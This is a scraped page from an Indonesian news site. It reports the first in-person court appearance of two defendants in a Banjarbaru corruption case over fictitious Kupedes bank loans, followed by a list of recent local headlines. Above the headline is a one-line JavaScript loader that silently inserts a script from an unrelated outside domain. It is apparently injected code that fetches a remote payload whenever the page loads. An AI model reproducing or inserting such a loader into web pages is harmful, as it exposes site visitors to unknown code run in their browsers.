(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Dua Terdakwa Korupsi Kredit Kupedes Fiktif di Banjarbaru Dihadirkan ke Sidang


KANALKALIMANTAN.COM, BANJARMASIN – Untuk kali perdana dua terdakwa kasus korupsi kredit Kupedes bank BUMN di Kota Banjarbaru, Kalimantan Selatan (Kalsel) dihadirkan secara langsung di persidangan, Jumat (15/9/2023) siang.

Terdakwa Richard Wylson Takaendengan (37) dan Etna Agustiany (48) pertama kali hadir ke ruang sidang Pengadilan Tipikor Banjarmasin dengan pengawalan petugas Kejari Banjarbaru.

Nampak Richard mengenakan rompi berwarna oranye bertuliskan “Tahanan Tipikor Kejari Banjarbaru”, sementara Erna juga mengenakan rompi oranye dengan tulisan “Tahanan Kejaksaan Negeri Banjarbaru (29)”.

Baca juga: Sabu Secuil Antar HW ke Sel Mapolsek Banjarmasin Barat

Sejak sidang perdana pada bulan Agustus hingga sidang lanjutan pada Jumat (15/9/2023), kedua terdakwa telah disidang sebanyak 5 kali. Dengan agenda terakhir pemeriksaan saksi yang dihadirkan Jaksa Penuntut Umum (JPU) dari Kejari Banjarbaru.

Pada sidang sebelumnya, majelis hakim Pengadilan Negeri Banjarmasin yang diketuai Fidiyawan Satriantoro dan dua anggota menolak seluruh eksepsi (keberatan) dari kedua penasehat hukum terdakwa. Sehingga persidangan untuk perkara Nomor 23/Pid.Sus-TPK/2023/Pn Bjm dan perkara Nomor 24/Pid.Sus-TPK/2023/PN Bjm dilanjutkan ke tahap pembuktian.

“Menolak eksepsi atau keberatan penasehat hukum terdakwa untuk seluruhnya,” bunyi putusan sela majelis hakim Pengadilan Tipikor Banjarmasin untuk perkara Richard dan Etna.

Baca juga: Embung Gunung Kupang Capai 32 Persen, Tangkal Banjir di Cempaka 

Terdakwa Richard sebelumnya diketahui menjabat Mantri Kupedes pada bank plat merah salah satu unit di Kota Banjarbaru. Sedangkan terdakwa Etna adalah swasta yang bertindak sebagai penghubung pada kasus korupsi kredit macet atau bermasalah ini.

Dalam dakwaan JPU, perbuatan keduanya disebutkan telah menyebabkan kerugian negara sebesar Rp2,7 miliar.

Nilai itu tertuang dalam laporan hasil audit BPKP Kalsel atas perhitungan kerugian keuangan negara atas dugaan tindak pidana korupsi kredit Kupedes fiktif dengan cara topengan dan tempilan yang disalurkan oleh bank tersebut pada tanggal 7 Oktober 2022.

Baca juga: Hari Demokrasi Internasional 2023: Memberdayakan Generasi Penerus

Keduanya dikenakan pasal 2 ayat (1) Jo pasal 18 Undang-Undang Nomor 20 Tahun 2001 tentang perubahan atas Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi Jo Pasal 55 Ayat (1) Ke 1 KUHP, untuk dakwaan primair.

Sementara itu untuk dakwaan subsider yaitu pasal 3 ayat (1) Jo pasal 18 Jo Undang-Undang Nomor 20 Tahun 2001 tentang perubahan atas Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi Jo Pasal 55 Ayat (1) Ke 1 KUHP.

Kedua terdakwa telah ditahan sejak sejak tanggal 12 Juli 2023, Etna ditahan di Rutan Lapas Perempuan Kelas II A Martapura dan Richard ditahan di Lapas Kelas II B Banjarbaru. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Ini Alasan Pemko Banjarbaru Larang Peternakan Babi Ada di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More

1 jam ago

Habisi Nyawa Sesama Sopir di Banjarmasin, ARM Ditangkap di Kandangan

KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More

2 jam ago

Peternak Babi di Pandarapan Keberatan Batas Waktu Tiga Bulan Bongkar Kandang

KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More

3 jam ago

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

16 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

16 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

17 jam ago

This website uses cookies.